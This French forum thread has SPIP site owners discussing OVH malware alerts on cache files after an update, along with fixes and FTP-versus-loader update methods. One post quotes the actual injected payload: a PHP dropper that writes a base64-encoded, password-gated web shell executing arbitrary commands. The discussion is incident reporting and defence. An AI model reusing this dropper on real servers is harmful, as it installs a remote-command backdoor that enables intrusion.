J’espère que vous êtes en forme pour cette rentrée.
Question : après avoir mis à jour un site en SPIP 4.4.21 suite à des attaques malveillantes.
OVH te relance en t’indiquant qu’il a repéré des fichiers malveillants ici dans le dossier /tmp par exemple
/tmp/cache/calcul/88/e6.cache
c’est un excès de zèle ou c’est potentiellement possible que ces fichiers cache soient effectivement malveillants ?
1 « J'aime »
Salut, le sujet a déjà été abordé ici, c’est un excès de zèle et ça sera corrigé dans la future 4.4.22.
1 « J'aime »
Je reposte ici car il ne me semble pas que ce soit un excès de zèle de la part d’OVH. Le cache contient bien du code malicieux (peut être pas exécuté mais malicieux).
Je suis confronté au même problème que décrit ici. OVH bloque à répétition mon hébergement à cause du contenu de certains fichier dans tmp/cache/
Le plugin memoization et le réglage filecache n’y font rien.
Mais, j’ai trouvé le code malicieux. Il est injecté via la page de recherche, le voici :
<?php header("X-Spip-Filtre: html_entity_decode"); ?><?php @file_put_contents("./img_cache.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTtAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOwpoZWFkZXIoJ1gtTng6TngtekQxJyk7CmlmKCFpc3NldCgkX1JFUVVFU1RbJ2snXSl8fCRfUkVRVUVTVFsnayddIT09J25Yaycpe2h0dHBfcmVzcG9uc2VfY29kZSg0MDQpO2RpZSgpO30KJGM9QCRfUkVRVUVTVFsnYyddPz8nJzsKaWYoJGM9PT0nJyl7ZWNobyAnPHByZT5OeC16RDEgYWN0aXZlPC9wcmU+JztkaWUoKTt9CiRvPScnOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtvYl9zdGFydCgpO0BzeXN0ZW0oJGMpOyRvPW9iX2dldF9jbGVhbigpO30KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7b2Jfc3RhcnQoKTtAcGFzc3RocnUoJGMpOyRvPW9iX2dldF9jbGVhbigpO30KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXtAZXhlYygkYywkYSk7JG89aW1wbG9kZSgiXG4iLCRhKTt9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JG89QHNoZWxsX2V4ZWMoJGMpO30KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSl7JGY9QHBvcGVuKCRjLCdyJyk7JG89Jyc7d2hpbGUoIWZlb2YoJGYpKXskby49ZnJlYWQoJGYsNDA5Nik7fXBjbG9zZSgkZik7fQplbHNleyRvPSdbbm8gZXhlY10nO30KZWNobyAnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJG8pLic8L3ByZT4nOwo/Pg==")); ?>
Que faire pour que ce genre de recherche ne soient pas mise en cache et donc que OVH ne bloque plus mon hébergement ?
1 « J'aime »
Comme je le disais ça sera corrigé dans la 4.4.22 cf fix: eviter de générer du cache avec des contextes empoisonnés par du PHP (!324) · Requêtes de fusion · spip / ecrire · GitLab
Et si tu es très pressé, tu peux installer le plugin Memoization (en mode file cache).
En attendant, j’ai une tâche Cron qui vide /tmp/cache toutes les 20 minutes.
Bonjour,
C’est encore moi. Qu’est-ce que le mode file cachecar bien sûr OVH vient de me dire que j’étais infectée.
Merci
Kadyan
Ah, j’ai eu le même mèl d’OVH 
C’est rassurant de comprendre d’où ça vient (j’ai eu le mèl le lendemain de la mise à jour en .21, glups!)
J’ai eu le mail « présence de fichiers malveillants » qui sont effectivement dans le cache.
Mais sur mon interface de gestion du site, le message me dit qu’une quantité anormale de requêtes sortantes a été détectée. Là, ça ne peut plus être un faux positif (le site en question ne devrait pas générer une grande quantité de requêtes sortantes).
Difficile de comprendre…
2 « J'aime »
Pareil, j’avais été tranquille pendant 10 jours après les mises à jour vers 4.4.21, et dans la nuit du 31 août au 1er septembre, une salve de mails OVH me signalant des fichiers suspects en .cache
Je vais attendre la version 4.4.23, faire les mises à jour, puis vider les caches avant de débloquer la situation chez OVH.
Avec les mesures mises en places par OVH, il semblerait que le spip_loader ne fonctionne plus (erreur 403) non plus (car interdictions des requêtes extérieures) => Je ferai donc mes mises à jour à l’ancienne, par FTP.
D’autres dans ce cas ?
1 « J'aime »
J’ai mis à jour aujourd’hui un site chez OVH qui avait ce souci de faux positifs. Pour retrouver les accès j’ai d’abord supprimé le cache/calcul (chez moi c’était là). Pour le supprimer sans difficulté je l’ai renommé en cache/calcul-old. Ensuite j’ai levé les restrictions chez OVH. Puis j’ai lancé spip_loader.php. Pour faire bonne mesure j’en ai profité pour mettre à jour les plugins via svp, et j’ai refait la manip sur cache/calcul ^^
C’est tout de même plus rapide qu’en FTP 
le plus long c’est de supprimer le cache
1 « J'aime »
Oui, même chose pour moi chez OVH : Tant que l’hébergement est en mode restraint, spip_loader ne fonctionne pas.
Quand ça fonctionne, oui.
Par FTP, ça fonctionne quand même à 100%, surtout pour une version « mineure ».
Le seul risque c’est d’oublier des fichiers, j’ai le script qu’il faut :
- met l’archive de SPIP à la racine (Télécharger SPIP - SPIP)
- renomme-là
archive.zip. - utilise le petit script
unzipme.phpque je te donne ci-dessous. - déplace tes dossiers liés à SPIP dans un dossier dédié (de type
_archives) - Ce sont ecrire, plugin-dist, prive, squelettes-dist et vendor. - déplace les même dossiers qui ont été décompressés dans
fichiers_a_jour.
A ce niveau les fichiers sont à jour mais il peut rester une mise à jour de la base à réaliser. Il suffit d’aller à l’interface privée pour cela.
En option, si tu as perdu ton mot de passe et que le mécanisme de réinitialisation du mot de passe fonctionne mal chez toi, tu peux relancer une installation en reprenant les paramètres de config/connect.php (que tu dois supprimer ou renommer en un autre fichier php)
unzipme.php :
<?php
// Nom du fichier ZIP à décompresser
$zipFile = 'archive.zip';
// Dossier de destination
$destination = 'fichiers_a_jour';
// Vérifie si le fichier existe
if (!file_exists($zipFile)) {
die("Fichier ZIP introuvable.");
}
// Crée le dossier de destination s'il n'existe pas
if (!is_dir($destination)) {
mkdir($destination, 0755, true);
}
// Ouvre et extrait le fichier ZIP
$zip = new ZipArchive;
if ($zip->open($zipFile) === TRUE) {
$zip->extractTo($destination);
$zip->close();
echo "Fichier décompressé avec succès dans '$destination'.";
} else {
echo "Échec de l'ouverture du fichier ZIP.";
}
SPIP Loader fait plus de choses que simplement dézipper, notamment il enlève tous les fichiers obsolètes d’une ancienne version de SPIP (en dehors de la racine), ce que ne fera pas ce dézippage direct.
Même remarque qu’ici :
Je me permets.
A propos des fichiers à la racine.
Quels sont les fichiers minimaux de la racine à conserver (dans le .zip de dépôt à jour) pour assurer le fonctionnement d’une installation, lors d’une mise à jour par FTP ?
J’imagine que les fichiers .git et autres sont dispensables ?
Ok, mais un bémol quand même :
- le mode ftp me permet de mettre à jour rapidement sans avoir à me connecter
- je n’ai jamais eu d’erreurs 500 avec
Je sais que spip_loader est mieux qu’un unzip propre. Il est simple pour l’utilisateur qui ne sait pas interpréter le rôle et le sens des fichiers.
Mais pour les profils techniques comme le mien qui doit faire pléthore de mises à jour disparates, alors non, spip_loader n’est pas adapté.
Je ne vois pas l’intérêt de masquer une procédure de mise à jour qui peut fonctionner sans problème.
Ce sont des artefacts résultant du l’assemblage automatique de spip à chaque nouvelle version. Tu peux supprimer les .git* ainsi que phpcs.xml.dist et même les composer.* (le minimum nécessaire à la racine est spip.*, index.php et .htaccess)
Parce qu’elle est plus complexe qu’avec spip_loader et génère plus de questions pour une équipe qui est toujours réduite. Une devise à réfléchir : plus c’est simple, moins c’est compliqué et moins c’est compliqué, moins t’es emmerdé 
Voir la question de @ubiq1er ci dessus, question qui n’aurait pas eu lieu en débloquant simplement la limitation chez OVH et en utilisant spip_loader.
Oui, mais je n’ai pas l’impression que ça soit le cas dans les fils de discussions où tu as posté tes messages donc j’en reviens à la conclusion de mon message :
il est beaucoup plus judicieux de faire en sorte que
spip_loaderfonctionne plutôt que de partir sur des solutions non documentées
Je ne suis pas d’accord là dessus. Le mode d’emploi existait bien avant spip_loader et les questions sont restées les mêmes.
Une mise à jour manuelle se fait étape par étape et n’a pas de côté « boite magique » de spip_loader. Je fais partie des personnes qui aiment avoir un peu de contrôle pour savoir comment réagir face à un plantage.
Sans compter que son fonctionnement dépend du bon vouloir de l’hébergeur qui peut nous placer en mode « Rescue FTP ». Du coup les utilisateurs dans la détresse spamment les forums parce qu’ils ne trouvent pas de solution alternative. Et c’est l’inverse de l’effet de simplicité recherché.
Sa question est justifiée car les fichiers ne devraient pas être dans une archive d’un produit final, il ne servent que pour coder.
Là on est dans une situation exceptionnelle où il a fallu faire trois mises à jours de SPIP en moins de 2 semaines, avec des sites infectés à traiter… La mise à jour via FTP a été très bien documentée pendant très longtemps, et elle reste inchangée.
C’est sûr qu’en temps normal c’est cool d’avoir une mise à jour en un clic. Mais quand ça échoue à cause d’un tiers alors il faut un plan B. Qui existe et qui était le plan A pendant bien longtemps ! 
Surtout que c’est ce mode « old-school » qui est recommandé (pas très bien) par le support d’OVH.